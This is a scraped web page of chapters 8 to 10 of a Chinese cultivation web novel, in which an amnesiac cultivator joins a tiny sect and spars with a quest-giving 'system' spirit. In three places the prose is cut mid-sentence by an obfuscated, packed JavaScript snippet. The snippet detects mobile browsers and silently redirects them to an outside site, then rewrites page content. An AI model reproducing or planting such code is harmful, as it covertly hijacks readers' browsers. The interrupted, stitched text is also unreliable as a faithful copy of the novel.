35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037415|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >严文洲大为震撼,心情比天梯断了的时候还要复杂。要知道,虽说太清宗掌教是仅次于渡劫期的洞虚大圆满修为,但那可是南洲仙盟第一大派啊!寻常二三流门派的掌门也就是炼虚,要是穷乡僻壤的小门派,说不定掌门不过是个化神修士!放在太清宗里,也就是比出师好上一点! 可这加上弟子不知道有没有五十人的太易宗居然有个炼虚期的修士!? 什么时候炼虚期修士只能窝在这么个寒酸小山头上了? 他开始有些相信老道士的溢美之词了——除非确实出身于这个门派,要不然他想不出一个能让炼虚期大修士守着这破落门派的合理理由。 严文洲不由地又多打量了太易宗掌门几眼。这么一看,却又让他看出了些许别扭。 平心而论,这人长得是极其漂亮的,身如青松,眉若远山,目似灿星,配上一身泛着流光的白衣,简直是仙人下凡,更长了一头古怪的银发,放在人群里绝对是鹤立鸡群的。 这太易宗掌门,是纯种人么?他不由问了问系统。 “嘀——功能受限。” 虽然用词似乎有些不妥当,但严文洲明白了——系统也探不出这人底细。他又多问了句身后的老道士,得到一句冷冰冰的“人类”,便意识到心海里这分魂不是不能做,而是确实做不到。 这可真是…… 太妙了! 心念电转,转瞬间,他心中便有了几分计较。 另一边,老道士眼色使了半天,眼角都要抽筋了,突然意识到情况有些不对劲,讷讷地又叫了一声自家掌门。 那人终于回了神,朝严文洲微微一笑,开口道:“道友,我修推演之道,前几日天象有变,算得今日有位有缘人来此,敢问可是来加入我太易宗的?” 老道士眼前一黑——自家掌门这开场白真是朴实无华得够可以!这怎么能吸引别人呢!? 正打算找补,耳边就悠悠传来一句:“正是。” 言简意赅,只要听清了都不会误解严文洲的意思。 可…… 凭什么呀!?难不成是自己之前误解了这散修的意思!? 傻眼之时,他看见自家掌门有些犹豫地问了一句:“你可愿入谁门下?我太易宗现在可收徒的有药峰主李青云,嗯,就是你身后的那位,对了,还有我。” 严文洲回头扫了一眼,又看了看眼前这位漂亮得过分的掌门,选择毫无悬念,便故作迟疑地支吾了几声,“啊,这个,随……唔,可以入您门下么?” “好。” “我门下还有一位小弟子,时雨,快出来见你……同门。” “欸来了,是师弟还是师妹啊——” “在下不才,虚长几岁,现年二十又三。” “师……呃哈哈,那、我、我还是叫大哥好了,小弟黄时雨,哈哈哈,大哥怎么会想到入我太易宗啊?” “实在有缘。” “好巧啊,师尊说我也是有缘人!” …… 眼见着两人就这么三下五除二地完成了入门拜师认人三部曲,老道士一口气哽在了喉头,差点没缓过来。 到底,凭什么!? 死死盯了一阵几步外气氛十分和谐的三人,他福至心灵,难道是因为掌门那张脸么?那下次…… 他正盘算着下收徒的时候次直接把掌门拉出去溜溜,却见自家掌门拉着新鲜出炉的弟子脚步一转,飞向了后山方向,不由急了:“哎哎哎,这又是怎么啦?命灯都还没点呢!” 黄时雨慢了半拍回头,神情古怪,“他说,他要筑基了,麻烦给他找个灵气充足点的地方。” 8. 第 8 章 “嘀——检测到大量能量输入,正在充能,充能过程请保持能量输入端口链接稳定,请勿中断,以免意外事故的发生。” “嘀——正在充能中,进度30%,35%,45%……” “嘀——系统功能已完全激活,藏书阁模块已开启一阶功能,任务浏览模块已开启,检索模块已开启,留影模块已开启……” …… 与天地灵气重新相接的感觉实在太过美妙,严文洲还未完全从筑基的余韵中清醒便听到了系统的喋喋不休。厌烦地睁开眼,他忽地从一连串的古怪用词中捕捉到一句“惩罚功能已激活”。 什么玩意儿? “顾名思义,我今后就对你拒不执行任务的恶劣行为有一定惩罚权力了。” 心海中,系统听起来得意洋洋,严文洲暗骂一声小人得志,便送出一道三分怀疑三分不屑四分担忧的心音,“比如说呢?” “比如说,克扣你任务完成之后的奖励,地品法器变玄品法器!还比如说……” 严文洲正等着系统回答,脊背上便飞窜过一股电流,整个人一软,不由自主地倒在了地上。 “你明白了吧?”系统快乐地补充完了后半句。 阴损手段,不上台面,什么腌臜玩意儿!严文洲面色骤冷,眼底闪出危险的光。 太易宗看着寒碜,后山却还是有些好地方的,芳草如茵,柔软厚实,边上又有一眼温泉,十分舒适。他既然倒了下去,索性就地躺着,盘算着该怎么折腾寄居在自己身上的这片分魂。 真真是不知感恩、没良心的东西!趁着筑基的时候吸取了那么多灵气,还以为能激活些什么好东西呢,最后居然恩将仇报! 他状似温情款款地开口:“统兄,既然你的那什么功能已经完全开启了,那你想起来了什么么?可记得自己的本体在何处?我好送你回去。” “……唉呀,还是不记得,可能还是时机不到吧。” 严文洲冷笑一声,一听那玩意儿的声音他就知道这脑子坏掉的残魂在忽悠他。 “说起来,统兄寄身于我心海的时间,好像跟东极道主陨落的时间差不多吧?该不会……” 系统像是骤然被人踩到了尾巴的妖修,“你不要污蔑我!我怎么可能是那个大魔头!?你、你、你就没想过那个时间也是你出现在山村的日子么?!你怎么不说自己也可能是东极道主!?” 听着系统跳脚的心音,严文洲陡然舒心,“那自然是不可能的,统兄你都说了,东极道主是个大魔头,我这么一个大好人,怎么可能是他!?江山易改本性难移,总不能修为散尽重来一回连性子都变了吧?” 系统被此人的厚颜无耻脸皮贴金震撼地半个字也蹦不出来,好半晌才反应过来,自己被暗戳戳地骂了一通。 严文洲正乐呵呵地等着系统的回应,忽然听到了一声破空声,头上阳光一暗,却有人半跪到了身边,“徒儿,你这是怎么了?可是有哪里不舒服?” 态度温柔至极。 他抬头一看,正是他不久前才认下的便宜师尊。 眼下,这位炼虚期大修士正垂头盯着他,眼里的担忧不似作假。哪家大修士能对已然成年又认识不到三天的弟子这么友善?这简直不像是对一个刚入门弟子的态度。 严文洲心中一动,脱口而出,“师尊,你之前可曾见过我?” 便宜师尊一愣,而后便仔仔细细打量着他,目光一寸寸地在脸上挪移,眉心、眼角、鼻梁、唇珠…… 严文洲莫名等出了一股心焦感,似乎这一刻他很期望能得到什么答案一样。 不,不对,一定是这人散下来的头发在眼前晃悠晃悠着,太过扰人!他几乎气势汹汹地往后挪了几步,终于避开了那几缕银月般的发丝。 良久,便宜师尊慢吞吞地摇头,“应该没见过吧,不过,为师年纪久了,见过太多人,许是见过了却没认出来也不一定。有什么问题么?” “啊,没有,只是徒儿脑袋被门夹过,有些事情记不太清了。” 严文洲隐约觉得自己是色迷心窍了,不过,既然如此,自己从前的修为大抵差不多是这个层次,要不怎么一点畏惧都没有呢。 他又乐了——身在修真界,谁会嫌弃自己修为太高呢? 这一笑,又笑出了点事。严文洲开心了没多少功夫便陡然发现,便宜师尊十分惊异地看着自己,鸦羽似的睫毛小扇子一样慢悠悠地扇着,底下一双桃花眼微微睁大,风情万种硬是变成了困惑懵懂。 严文洲惨烈地笑劈了声。强硬地止住笑声,他使出了十二万分的功力控制表情,扭出一个腼腆羞涩的表情,指了指自己脑袋,“师尊,你看我这儿是不是有些不对劲,不知太易宗可否有医修,我想去诊治一番。” 便宜师尊神情复杂,轻轻点了点头道:“徒儿,你是得看看医修了。” 如老道士所言,太易宗一共三个山头,最中间一个就是两人上山时到的地方,也就是太易宗主殿所在,东北边一个是药峰,峰主李青云,西北边一个是浣花峰,而方才严文洲筑基的地方,是主峰后山,属于便宜师尊所有。 至于弟子居舍这东西么,确实如严文洲所料,是没有的。弟子们都是自己找个地方开荒住下,开荒完成后去弟子管理处报备一声即可,而所谓的弟子管理处,暂时由浣花峰兼任。 严文洲听到此时不由问了一句:“师尊,我们太易宗弟子很少么?” 便宜师尊停下了祥云,扭头缓慢地眨了眨眼,似乎在艰难地回忆答案。身侧云气凝了又散,严文洲都觉得自己快被罡风吹得冷了,方才等来一句:“挺少的,我门下只有一,嗯,两个,平时好像也没见到什么弟子,总共加起来应该不到十人吧。” 一直恍惚到丹峰峰主李青云面前,他才回过神,微微扫了眼李青云便照例送了道心音给系统:“统兄,此人……” “化神中期,”系统像是早已知道严文洲会问什么一般,心音十分冷漠,“半妖,什么妖不知道。” 严文洲十分满意,送出一道堪称温柔的心音,“多谢。” 也不知道太易宗选人是不是按照脸来选的,就跟他那便宜师尊一样,面前这位丹峰峰主的姿容在一众修真界俊俏男女中仍然是第一梯队,而且,凌厉之势有过之而无不及,就跟传闻中不近人情的剑修一样,单看外表,完全看不出此人是个医修。 严文洲不着痕迹地打量着她的同时,李青云的目光也在严文洲身上逡巡,“只听长安说你收了个新徒弟,没想到都这么大了,还以为你会更喜欢黄时雨那种毛头小伙子呢。” 便宜师尊淡淡一笑,“有缘。” 李青云嗤笑一声,朝严文洲招了招手,“什么毛病,过来让我看看。” 严文洲看了眼便宜师尊,乖乖走了过去。 炽热的手指搭上命门的一瞬,严文洲不禁打了个哆嗦,一是因为位置实在要命,二便是,这半妖,怎么这么烫啊!她是火做的么!?寻常人这个温度都不是发热了,那是直接快熟了! 便宜师尊看他面色不对,温温柔柔地安慰起来:“李道友天赋异禀,忍耐片刻便好。” 严文洲觉得自己是个有礼貌的好人,应该回点什么,但眼下,他是实在说不出来了。 太易宗,当真是能人辈出! 从今往后,他不会再小看任何一个野鸡宗门了! 李青云看了好一会儿才挪开她那火钳子似的手,若有所思地盯着他看,眼眸中逐渐闪出微不可见的火光来。 严文洲看得一惊,正搜肠刮肚想着这有可能是什么情况,忽然想起了系统似乎开启了一个什么藏书阁功能,便问了一句。 “对,没错,现在想用?”系统的心音显出几分自豪,“不过我可提醒你一句,检索功能每天只能使用三次,你可想好了。” “用吧。” “好。” 严文洲等了一会儿,满以为系统已经开始检索了,却等到系统一句莫名其妙的“说吧,检索什么”。 他大为讶异,不由问道:“你不能直接检索眼下这种情况么?” “……当然不能!输入关键字段后才能检索。” 严文洲明白了,系统这玩意儿虽然是片还算聪明的分魂,但藏书阁和检索就像是复刻名门大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037416|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派的藏经阁一样,仍旧只能以最死板的方式去找东西。 真是,鸡肋! 丹峰上,李青云看了许久,长叹一声,冰块脸上少见地露出些许困惑来,“你这徒儿,好像挺正常的。” 便宜师尊点点头,“对,他平时看着挺正常的。” 李青云沉默了一下,委婉道:“许是我医术不精,也可能是他天性如此。” 看着两人面面相觑的样子,严文洲不由叹服——太易宗的人,可真会讲话。 一边好笑,他一边也难得有些惆怅。化神期的医修本就难得,就连太清宗玉阙峰峰主也不过炼虚,况且李青云还是个半妖,能力较之一般修士还要高上几分,若是连她也看不出问题,那就代表着,自己身上的问题,很严重! 便宜师尊却似乎比严文洲自己还要发愁,就连亮星似的眸子也似乎蒙上了一层淡淡的阴翳,他回过身便问道:“徒儿,你这脑袋的问题是胎里带出来的,还是后天形成?先前可曾见过其他医修?” 听着这不紧不慢的声音,看着这人脸上的疑惑,严文洲觉得这位便宜师尊多半就是这样急不起来的性子,很有传闻中算命道士云淡风轻的气度。 不愧是修卜算之术的。 他一一回了问题,略去了山村初醒和系统,只说自己是个孤儿,机缘巧合之下踏入了道途,不知怎么便染上了这毛病,成功招来了两道同情的目光。 “也是难为你了,今后就在太易宗安顿下来吧。”便宜师尊拍拍他的肩,弯出一个鼓励的笑。 李青云扯了扯嘴角,大概,算是笑了。 “巧舌如簧,能是什么好人。”心海里的系统陡然出声。 居然还在纠结,真是小气。严文洲不由记了一笔,送出一道笑音:“此乃机智也,难道统兄想被我这便宜师尊翻出来算个水落石出?” 系统再没声儿了。 严文洲十分得意,忽然觉得有些不对。 咦,等等,这便宜师尊叫什么来着?怎么好像还没听什么人提起过?一直“小友”、“徒儿”地叫着,这人知道自己叫什么么? 入夜,严文洲终于在黄时雨以及一干同门的帮助下搭出了两间竹屋,用的还是就地采伐下来的竹子。 按照一般习惯,这种时候大部分修士都不会选择自己搭屋子,而是直接在选定的地方上放一个现成的微缩洞府,若是财大气粗的宗门,甚至还会直接送一个洞府给需要自己开辟洞府的弟子,即便是抠搜一点的,也会送两只纸人大力士来帮忙。 但毕竟是太易宗么,以上这些便也就没有了。 好巧不巧,严文洲反打劫的那个修士原是有微缩洞府的,可他嫌弃那洞府金碧辉煌,俗气又占地方,便直接出手换灵石了。 不过,即便没有出手,他也会视而不见的——哪种地方,如何住得! 说是一干同门,其实也就三个,丹峰一个,浣花峰一个,主峰两个。是的,太易宗的正式弟子连上严文洲一共只有四个。 他那便宜师尊居然没记错,也是,这一只手都数得过来的人,有哪个修士能弄错!? 严文洲幽幽叹了一声,一点也不介意地一屁股坐在竹屋外新铺的石子儿路上,忽地想起了自己那位美人师尊——杜衡,就跟那草药名一模一样,难不成也是位半妖,只是修为太高,系统探不出来? 又或者,是因为他修的乃是推演天机之道,自带干扰屏蔽? …… 没琢磨一会儿,他的思绪就忽然跑偏了——今夜满月,若是杜衡站在此处,那一头银发该是何等美妙。 一个山头外,丹峰竹舍前,青黄色竹门无风自动,杜衡视若无睹,直接推门进去,一步便跨入了一片有山有水,亭台楼阁一应俱全的洞府。 眼前小径无数,他四处望了望,有些迟疑地选了其中一条,走了几步忽地停步,双目微阖推演了一番才继续往前走。 短短几步,便又是一番光景,朱红小楼矗立山前,一汪清澈池水缓缓荡漾着,李青云正坐在栏杆处喂鱼,眼也不抬便道:“你那新徒儿,骨龄可不对啊。” “嗯,我知道。” 9. 第 9 章 灵气一转,眼睛一睁一闭,一夜便过去了。筑基之后,经脉里的灵气立刻有了质与量的飞跃,严文洲本可以这么一直修炼下去,但总有些不识相的分魂在那里咋咋呼呼的。 在系统的极力催促之下,他终于磨磨蹭蹭地调出了刚刚激活的任务面板。灿烂辉煌的金光顿时照亮了整个灵台,神魂都快被融在这一片金光里了。 “统兄,您这审美可真是大气啊。” 听着这阴阳怪气的调子,系统默默调低亮度,布满了整个灵台的方框顿时显了出来,重重叠叠,密密麻麻,乍一看全是鬼画符。 严文洲扫了一眼,觉得头疼,便放软了心音道:“统兄,可否分门别类归一下,我也好找。” 系统:屁事真多! 几个刹那后,方框飞速转换排列,在灵台前排成了三列。 “宿主,最短的那一列是主线任务,中间那一列是支线任务,最后一列是日常任务。” “哦,有什么差别么?” “主线任务奖励最丰厚,支线任务次之,日常任务再次。” 严文洲扫了眼所谓的主线任务,帮助钟慎躲开无名人士的追杀,助力钟慎打脸堂兄,为钟慎提供三山离火的线索…… 钟慎、钟慎、钟慎……还是钟慎! 邪了门了! “统兄,你该不会就是钟慎那个素未谋面的亲爹吧?” 凭空多了个好大儿,系统正准备好好享受一番严文洲乖乖做任务的快感,此刻却气得磨牙声都模拟出来了,许久才回道:“当然不是!你才亲爹呢!” 严文洲大惊,“我都有个儿子啦!?呃,也不是不可能!可、可那傻小子长得也不像我啊!等等,统兄,你能看出我多少岁了么?” 系统沉默了下来——其实,照这么说的话,忽悠宿主钟慎确实是他失散多年的儿子也不是不行,说不定还能让他多点做任务的动力。 正这么计算着成功率,心海里就飘来一道幽幽心音:“统兄,你可别蒙我,我怎么觉得我是个断袖呢?” 哔——系统立刻终止运算过程,浪费能量! “你元阳尚在,钟慎不是你儿子。”它冷漠地回道。 严文洲又是一惊,对自己又多了几分认识——自己不仅是个好美色的断袖,更是个洁身自好、清心寡欲的断袖! 听上去,居然有些可怜。 为自己哀叹了一声,他又琢磨起其他任务来。 支线任务: 平安镇最近不怎么平安,家畜莫名失踪后,儿童也开始出现夜游症状,请及时前往平安镇进行调查!(警告:该任务比宿主当前等级高50%,危险性较高,若完成则追加50%奖励!) 太清宗玉阙峰近来频频出现灵草失窃,请及时前往玉阙峰调查原委!(警告:该任务有一定危险性,建议宿主组队完成!) 锦绣酒楼的大厨前日告老返乡了,新厨子明显技不如人,请让他及时认识到自己的缺点,以便尽早改正!(警告:该任务比宿主当前等级高100%,危险性极高,谨慎接取!) …… 严文洲挑了挑眉,看向日常任务: 帮太易宗灵田浇水,奖励一枚下品灵石;帮李青云收割泛灵草,奖励泛灵草若干;帮黄时雨垦荒,奖励百年木材若干…… 就,挺有意思的。 严文洲粗粗算了一下,要是这些都做,那一天24个时辰都不够用! 听见了宿主皮笑肉不笑的心音,系统小小声道:“啊,主线任务是重中之重,其他只是、嗯、应该说只是给宿主得到更多奖励的机会。” 严文洲明白了,“所以,只有主线任务你才有惩罚权,对吧?” “……对。” 严文洲还从未听到过系统如此不情不愿的声音,心里的憋屈顿时消散了大半。再者,有些任务很明显具有时效性,他不做,还不能让老天爷帮他做么? 心中一定,他决定先去做些日常任务,和自己寥寥三个同门多熟悉一下。 “不行!”系统陡然急了,“你筑基花了三日,钟慎今天就要上太清宗了,不到筑基不能再下山!你得去见他一面,把百川江家的道统交给他!” 此话一出,严文洲嘴角的笑意骤然深了几分。 又露出了一点马脚。这分魂怪里怪气的,净整些幺蛾子,钟慎明明立志做个炼丹师,百川江家最出名的乃是剑修,和炼丹扯不上半点关系,就算这道统自己看上了那小子,钟慎也不一定会接了道统。 所以,为什么呢? 似乎感受到自己说漏了嘴,系统一思量,一咬牙,主线任务栏晃荡了一下,最上方方框突然往下移了一格。 新出现的任务框里白底金字闪得耀眼:作为修真界内奇货可居的炼丹师,怎么能没有一点保命手段呢?钟慎急需一份杀伤力巨大的道统,请宿主及时为他提供合适资源! 严文洲一笑,不计较系统似乎不太妥当的用词,只柔柔送出一道心音:“统兄,说起来,既然你的全部功能都开启了,那是否可以告诉我,这些任务是从哪儿来的了吧?” 今日阳光正好,他倚着门,随手折着门外竹枝编环玩儿,等到一圈编完,系统要死不活的声音才响起:“嘀——检索受限,权限未开启!” 严文洲才不信。 镇命法检索不到,杜衡一个炼虚期老怪也检索不到,太易宗还是检索不到,这系统所谓的藏书阁有发挥过什么用么!?与其说是权限不够,他更愿意相信是系统不愿意让自己知道。 大抵也知道这破理由毫无说服力,系统苦口婆心道:“宿主,你要认识到,任务只是一个外在的形式,为的是能给你提供充足的资源,即便有些任务有些奇怪,那也是为了你将来考虑。还记得先前那个给炼器师找离火的任务么?其实你要是完成了那个任务,那三山离火的消息很容易就能交换到了!” 虽然不知道为什么,但既然这样出现了,那便一定有理由是吧? 严文洲嘲讽一笑,仍然没说话,收好了第一只竹叶环,自顾自地开始编第二只。 这回得换个花样儿,嗯,等等,自己怎么居然记得这种东西!?难不成自己从前师从过彩衣阁的绣娘么?唔,不然等会儿试试自己会不会缝补衣服吧? …… 宿主的长久沉默来得不同寻常,自从系统在严文洲身上苏醒,它便从未受到过这种冷遇,忐忑不安地等待了许久后,它终于耐不住了,小心翼翼地送了一道心音出去:“我、我真不会害你的!我可是寄身在你的心海里,要是你死了,那我不也得完么!” “统兄本体的分魂应该不止统兄一片吧?少了一片应该也无甚大碍的,”严文洲幽幽回答,“至于我,我记得统兄先前可是也发布过一些相当危险的任务啊,怎么那时候没有计较自己的生死?” 系统又不做声了,严文洲乐得清净,随手把第二只竹枝环扔进纳戒,伸了个懒腰便朝下山方向而去,耳边忽然响起一道声音:“欸师叔,等等,等等!” 脚步一停,顺着声音看过去,胖墩墩的身影出现在了不远处,正是那一日的老道士。 “师叔可是要下山去飞仙城?” 这人叫陶乐,是浣花峰峰主,太易宗第一百零八代弟子。很不幸的,如今的太易宗掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037417|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门是太易宗第一百零六代弟子,于是前日才拜入山门的严文洲成了这位浣花峰主的师叔。 严文洲点头,“道兄也是去飞仙城?” 陶乐大喜,“正是!” 既然目的地相同,两人便理所当然地同路而行了。太易宗在飞仙城外百里地的山里,飞得慢点不过两炷香的时间。 与丹峰峰主不同,这位浣花峰峰主是个话多的,严文洲很快明白了这位修为最低的峰主来飞仙城的目的——收徒。 太清宗的选仙虽然在两日前便关闭了,但没有被选上的散修并不会立刻散去,毕竟城内还有诸多二三流门派可供选择。 当然,严文洲觉得,陶乐最好还是死了这条心——没有玉牒的宗门被抓到偷偷摸摸收徒弟的话,轻则罚款,重则直接取消玉牒申请资格。 “欸,可要是不收弟子,那我太易宗更申请不了玉牒啊!那劳什子太清宗自己弟子千千万万,就要求旁的宗门也要有这么多弟子,不知道弟子贵精不贵多的道理么!差一个,只差一个我们就能够上申请线了!” 一直到两人停在了飞仙城外时,系统委委屈屈的声音才响起来,“那不是我自己也不知道么!而且,我觉得宿主有能力能完成任务!奖励这么丰厚,宿主你难道没有心动过么!?” 过了查验妖邪的青天明镜,严文洲冷淡地送出两个字:“没有。” 他转头问陶乐:“道兄,你打算如何……” 话没说完,他就被陶乐一把捂住了嘴,急道:“嘘!不可说,不可说!” 还知道不可说啊。严文洲冷漠脸。 黑沉沉的眸子就这么直勾勾地盯着,不知怎么地,背后居然窜上了几分寒意,陶乐情不自禁打了个哆嗦,忽然觉得自己这位新鲜出炉没几天的师叔有些古怪,看着…… 不像好人。 丹凤眼、悬胆鼻,虽然面色如玉,眉梢眼角却自带三分冷厉,平时笑着还不显,此刻面色一冷便立刻像是北边冰雪地里吹来的万古寒风,要是再换上一身猎猎黑衣,那便更像是那些嗜血成性的大杀星了。 陶乐一时傻了眼,下意识地挪开自己的手。 好在这只是一瞬间,一眨眼的功夫,他便看着这位看着比自己还年轻许多的师叔重新挂上了笑脸,似乎刚刚什么也没发生。 他茫然了一瞬,怀疑起了自己的眼睛,严文洲却主动拉着他往主街边的小巷走了几步。短短几步路,陶乐已经释然了——师叔天生相貌如此,把平平无奇的表情做出恐吓效果又不是本意! 他左右看了看便压低了声音道:“师叔,这可不兴说啊!万一被那些玄甲守卫听到了,那可是要倒大霉的!” 顿了顿,他长舒一口气,神情兴奋起来,“出发之前,我已经向掌门师叔讨了一卦,他说这回的有缘人就在飞仙城南门附近!” 严文洲眸光一闪,“这回?” 陶乐已经乐呵呵地掏出了一块白麻布摊在地上,往上面放起了各种不值钱的灵草法器,把自己伪装成一个囊中羞涩的散修。 “啊,对啊,掌门师兄算的卦可灵了!上回我也是讨了他一卦,最后就在卦象所示的地方碰上了你,那可真真是从天而降啊!唉,我这回本来想拉他一起来的,可他说什么太玄经传人不应该多沾染红尘,怎么说也不肯出来……” 居然不是巧合!严文洲心里陡然一惊,刚想问陶乐讨要那时的卦象,眼角余光中却有一道熟悉的身影飞快拨开人群朝他跑来:“严兄!严兄!你怎么在这儿!我可算等到你了!” 正头痛之时,他又听身边的陶乐喃喃自语道:“这难道,就是有缘人?好快啊……” 10. 小子无用 严文洲不知道自己失忆之前有没有和什么算命的扯上过关系,但他非常确定,从山村醒来的那个全新的自己,是从来不信算命的。 至少,是在遇到杜衡之前。 他仔仔细细地在记忆角落里搜刮了半天,确信自己先前的直觉是对的——卜算,在修真界里是一门极其高深、极其晦涩、极其容易招致杀身之祸的道统。 不管这个杀身之祸是来自于敌人,还是来自友人,又或者来自于天雷。 眼下,他对自己便宜师尊的敬意又多了几分——卦算得越准,天雷劈得越狠,能修到炼虚期,想必杜衡不是有着堪比体修的身体素质,便是有着举世无双的功德!哪个哪个宗那个谁不就…… 严文洲的脸色骤然一白,刚刚划过眼前的画面如烈阳下的雪花般消失得无影无踪,神魂一阵剧痛。 也许,自己也该去找便宜师尊讨上一卦。 钟慎许久不见严文洲,一见到人便急吼吼地冲了过来,跑了半道便察觉到了另一道目光,心神不由分了点过去,听到了后半句。他直觉那话是对自己说的,下意识问道:“什么快?” 严文洲立刻要拦住陶乐,可老道士矮胖身躯的速度在这一刻提到了极致!眼前一花,他便双手握住了钟慎的手,热切道:“小兄弟,我观你骨骼清奇,修为精纯,不知可有宗门?若是还没有,可愿意拜入我太易宗?” 钟慎迟疑地望向严文洲,“太、太易宗?” 严文洲深深觉得,即便是弟子数目够了,太易宗也能单凭这个名字把自己从玉牒审核合格名单中摘出来!可眼下,他只能默默吞下苦涩,嘴角弯出一个挑不出半点问题的笑,轻声道:“对,太易宗,周易的易,算卦算得很灵。” 顿了顿,他又问道:“钟兄,你应该通过天梯,拜入太清宗了吧?” 这一刻,严文洲的眼里有了他自己都没发现的期待。 似乎想到了什么,钟慎的表情骤然苦涩起来,本就豆芽菜似的身躯看起来更加弱不经风了,像是被罡风一吹就会完全散架。 他点了点头,声音里忽地带上了些许哭腔,“要不是严兄推我那一把,我定然会掉下天梯去,再来一次定然是没有力气了!可是、可是严兄你……呜——” 一想起先前严文洲在天梯上游刃有余、镇定自若的样子,再看看他现在跟着一个不知名宗门老道士在街边摆摊的样子,钟慎就悲从心中来——若不是因为自己,严文洲定然也能拜入太清宗的! 严文洲哭笑不得,“钟兄,别哭啊,待会儿玄甲守卫还以为我们诓骗你什么了呢。你能拜入太清宗自然是因为你心性过硬,便是没有我,你再走一次也能得偿所愿。再者,我觉得我与太易宗十分有缘,此乃天定。” 光天化日,朗朗乾坤,清朗而坚定的声音就这么抛散在了空气中,严文洲觉得自己说得挺好的,陶乐不是感动得眼泪汪汪的么? 但看钟慎比方才更加复杂的表情……他想了又想,觉得自己还是别解释了——钟慎看上去可什么都不会相信,说得再多也会被歪曲成别的意思。 这话没错,可他看错了一件事——陶乐哪里是因为他的话而感动啊,分明是因为“有缘人”已经拜入了太清宗而悲伤。 “道友,已然拜入太清宗了?”陶乐不死心地问道。 钟慎心不在焉地点点头。 陶乐一屁股又坐下去,神情又坚定起来,掌门的卦定然是灵的,既然这一个入了太清宗,那便定然不是真正的有缘人! 无妨,再等便是!反正时间多得是! 老道士一站一坐的速度实在太快,简直像是一个咻一声拉长又变回原形的白团子。钟慎这才把注意力放到这位完全不符合一般修士身材的老道士身上,眼睛忽地瞪大了一圈。他又扭头飞快地看了严文洲一眼,眼神恍惚,“严兄,你、你筑基了?!” 严文洲含蓄一笑,“机缘巧合。” 太清宗惯例,新入门弟子在天梯试炼通过后会有三天的修整时间,一来是给弟子们留出准备时间,二来也是让弟子们与原先的同道者做个告别。毕竟,再下山,那就要等到筑基之后了。 借口叙旧,严文洲暂别陶乐,拉着钟慎沿着主街一路往城东去。 转了几个弯,头顶上逐渐出现泛着流光的彩绸,一点也不顾忌地横跨长街两侧,累赘柔软处甚至垂到了行人面前,丝竹之声隐隐约约,嬉闹之声从大开的窗户中散落一地,愈发引人遐想。 严文洲左右看了看,正巧和右边一家门口的修士对上了眼神。 对方眼睛一亮,“道友,怎么不来我这儿?有吃有喝能睡觉,能听能唱还能自己来!” 严文洲一笑,转身朝那边走去。 怎么是这种地方!?钟慎这才反应过来,脸色爆红,死命拖着严文洲的胳膊,像只万年王八精一样缩在原地不动弹。 严文洲扭头一看,心下了然——傻小子嘛,难免羞涩。他凑过去,耳语道:“不过是商谈点事而已,这里私密,为兄不会害你的。” “……当真?什么事要到、要到这里来谈?” 没明白过来的时候还好,一下明白过来,钟慎连眼神都不敢乱飘了,垂头站在街心的样子怂到了极点。严文洲看得好笑,一肚子坏水开始冒泡,嘴角一弯便道:“自然是来修炼清心凝神诀啊。若是连此处音修的曲儿都能抵挡,岂不是大成了?钟兄想到哪里去了?” “……啊?” 就这么忽悠着,钟慎被他拉进了平乐坊。 要了个包厢,点了几盘瓜子点心和一壶清酒,严文洲坐定等着菜上齐。平乐坊一共六层,呈圆筒状结构,中间是歌舞表演处,二楼以及以上都是包厢。他们如今就在二楼,也是修为最低的一层。 平乐坊的歌舞昼夜不歇,此时奏乐的是个掩去了面貌的音修,怀里抱着一把琵琶已然弹了许久。 珠玉之声叮当不绝,听上半刻便觉得神清气爽,神魂里的阵痛都好似缓和了几分。 严文洲点了点兜里的灵石,又想了想十二枚下品灵石的入场费和二十四块下品灵石的包厢费,难得有了囊中羞涩的感觉。 身边,做了许久木头人的钟慎幽幽发声:“严兄,你是在蒙我呢吧?” 严文洲欣然点头,“不过我确实有事要问你。” 他微微正色,确认隔绝法阵都已经开启后,掏出了那颗蕴藏着百川江家传承的琉璃珠。平乐坊豪奢的布置下,圆润的琉璃珠折射出万千华光,看着就不是凡品。 “这是我无意中得到的,师尊替我算了一卦,说此物与我只有浅薄的缘分,但正缘确实与我有关。想来想去,我觉得多半是钟兄你了。” 拿便宜师尊当由头,虽然可耻,但实在好使。琉璃珠在严文洲的微笑下,缓缓滚到钟慎眼前,顺利卡在了荷叶边的瓜子碟边上。 钟慎却没接,眼神迟疑而困惑,“严兄怎么如此信任我?我、我修为平平,资质也不行,不过是个中品灵根,还没有靠山……” 严文洲保持微笑,没说话,给系统送了一道一模一样的心音过去。 “嘀——权限已解锁!”系统陡然活蹦乱跳了起来,任务框的金边都更闪了,“钟慎身负大气运!跟着他,有肉汤喝!” 